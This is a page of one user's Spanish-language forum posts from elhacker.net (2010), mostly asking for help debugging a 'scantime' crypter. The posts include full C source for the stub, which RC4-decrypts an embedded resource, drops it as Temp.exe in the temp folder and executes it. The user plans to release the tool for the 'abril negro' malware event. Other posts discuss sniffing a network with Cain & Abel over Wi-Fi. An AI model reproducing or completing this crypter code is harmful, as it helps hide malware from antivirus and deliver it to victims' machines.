elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15 16
71  Programación / Programación C/C++ / Re: Texto con diferentes colores, funcion textcolor() en: 13 Mayo 2010, 00:33 am
textcolor() no sirve para Visual C++.
72  Seguridad Informática / Hacking Básico / Re: [PROBLEMA] Cain & Abel + Acer Aspir (Atheros) en: 4 Mayo 2010, 23:46 pm
Wenas... Oye amigo  soy newbie y estoy empezando en esto del hacking... tengo un ojo hechado al cain.. pero no se si lo estoy haciendo bien , ¿sigues algun tutorial o algo?
¿Si es así podrias decirme donde lo encontraste o algo? es que he buscado varios y tengo 3 aqui pero son muy basicos y mal explicados...

Bueno muchas gracias y perdona por irrumpir asi...

P.D con respecto a tu problema prueba a usar el cable en el pc desde el que lo  haces..
Un salu2

Nop, no sigo ningun tuto la verdad.. en google voy picando de todo un poco.
Y si usaria el cable no tendria gracia, yo lo quiero hacer desde wi-fi.
73  Seguridad Informática / Hacking Básico / Re: [PROBLEMA] Cain & Abel + Acer Aspir (Atheros) en: 4 Mayo 2010, 00:44 am
Creo que acabo de solucionarlo, he activado la opción de Don't use promiscude mode (No usar modo promiscuo) y me ha funcionado.
74  Seguridad Informática / Hacking Básico / [PROBLEMA] Cain & Abel + Acer Aspir (Atheros) en: 3 Mayo 2010, 22:52 pm
Bueno antes de ayer me he puesto las pilas con el Cain&Abel, buenisima herramienta, pero tengo un problema, en el portatil mio cuando hago un escaner con todas las opciones seleccionadas en los hosts conectados a la red, no detecta ninguno.. y hay dos sobremesas mas conectados al mismo router, mi portatil se conecta al router por Wifi. En cambio en mi otro sobremesa hago el escaner y detecta todos los pcs que hay en la red, y puedo sniffear los paquetes perfectamente.

¿Que ocurre que mi portatil no detecta ningún otro host?

Aqui dejo la configuración que tengo :



Ayuda  :-\
75  Seguridad Informática / Análisis y Diseño de Malware / Re: Concurso Mayo: CoreWar (Apuntate!!!) en: 29 Abril 2010, 17:35 pm
Puff como se ve esto! =0
76  Programación / Programación C/C++ / Re: Problemas con un crypter en VB6/C en: 21 Abril 2010, 14:06 pm
Código
  1. for(i = 0; i < 256; i++)
  2. {
  3.        j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  4. tmp = s[i];
  5. s[i] = s[j];
  6. s[j] = tmp;
  7. }

Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post.

Saludos

Vale lo siento, pero si no hago ese doble post se va hacia abajo y se olvidan del tema.. a ver estuve depurando a mi modo (con messageboxs) y creo que el problema viene que no obtiene los datos del recurso, ¿porque? no lo se..

Código
  1. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  2. Buff=(LPSTR)LockResource(hBuff);
  3.  
  4.    MessageBoxA(0,Buff,"",0);
  5.  

Me devolvió un MessageBox vacio.. ¿estaré usando mal la API?..

Ayudita?!

PD : Aqui pongo una imagen del resource hacker mostrando el recurso del stub.



(Lo seleccionado es la contraseña del cifrado)

Y ese recurso lo cargo asi :
Código
  1. HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);



77  Programación / Programación C/C++ / Re: Problemas con un crypter en VB6/C en: 20 Abril 2010, 22:49 pm
Código
  1. MessageBox(NULL,Variable,NULL,0);

Vale no se me mostraba porque el code no llega mas despues de estas lineas :

Código
  1. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  2. Buff=(LPSTR)LockResource(hBuff);
  3. LPSTR xPass=&Buff[Size-11];

Algo esta fallando por ahi y no se que puede ser.. =/
78  Programación / Programación C/C++ / Re: Problemas con un crypter en VB6/C en: 20 Abril 2010, 18:40 pm

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\


Puede ser porque la estructura de MessageBox() sea:

Código
  1. int MessageBox(
  2.  __in  HWND hWnd,
  3.  __in  LPCTSTR lpText,
  4.  __in  LPCTSTR lpCaption,
  5.  __in  UINT uType
  6. );

Intenta pasarlo a un int  ;) :xD

Saludos  :)

PD: ¡me hiciste caso con HeapAlloc()  ;D! ¿fue por lo que te dije?

Pero si es texto el LPSTR como lo voy a pasar a integer?.. =S
Si lo del HeapAlloc n ose quien me lo dije y lo empece a usar.. jeje

Me refiero a esto :

LPSTR Variable;

MessageBox(NULL,Variable,NULL,NULL);

79  Programación / Programación C/C++ / Problemas con un crypter en VB6/C en: 20 Abril 2010, 13:53 pm
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.

El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).

El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.

Este es el code del stub en C (compilado con Visual C++ 6) :

Código
  1. #pragma optimize("gsy", on)
  2. #pragma comment(linker, "/MERGE:.rdata=.data")
  3. #pragma comment(linker, "/MERGE:.reloc=.data")
  4. #pragma comment(linker, "/MERGE:.text=.data")
  5. #pragma comment(linker, "/ENTRY:main")
  6.  
  7. #include <windows.h>
  8.  
  9. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);
  10.  
  11. void main()
  12. {
  13. HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
  14. DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
  15. MessageBoxA(0,"1","",0);
  16.  
  17. LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
  18. LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
  19. MessageBoxA(0,"2","",0);
  20.  
  21. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
  22. Buff=(LPSTR)LockResource(hBuff);
  23. LPSTR xPass=&Buff[Size-11];
  24.  
  25. Buff=RC4(Buff,xPass,Size-11,10);
  26. MessageBoxA(0,"4","",0);
  27. GetTempPath(MAX_PATH,tFile);
  28. lstrcatA(tFile,"\\Temp.exe");
  29.  
  30. HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  31. WriteFile(hFile,Buff,Size,0,0);
  32. CloseHandle(hFile);
  33.  
  34. ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
  35. }
  36.  
  37. LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
  38. {
  39. int i, j = 0, s[256];
  40. DWORD dw;
  41. BYTE tmp;
  42. LPBYTE Buf = (LPBYTE)szBuf;
  43. LPBYTE Key = (LPBYTE)szKey;
  44. for(i = 0; i < 256; i++)
  45. {
  46. s[i] = i;
  47. }
  48. for(i = 0; i < 256; i++)
  49. {
  50. j = (j + s[i] + Key[i % dwKeyLen]) % 256;
  51. tmp = s[i];
  52. s[i] = s[j];
  53. s[j] = tmp;
  54. }
  55. for(dw = 0; dw < dwBufLen; dw++)
  56. {
  57. i = (i + 1) % 256;
  58. j = (j + s[i]) % 256;
  59. tmp = s[i];
  60. s[i] = s[j];
  61. s[j] = tmp;
  62. Buf[dw] ^= s[(s[i] + s[j]) % 256];
  63. }
  64. return (LPSTR)Buf;
  65. }

Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)

Saludos! ;D

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?  :-\
80  Programación / Programación Visual Basic / Re: Problemas al comprimir datos. en: 9 Abril 2010, 13:12 pm
Nadie sabe?
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines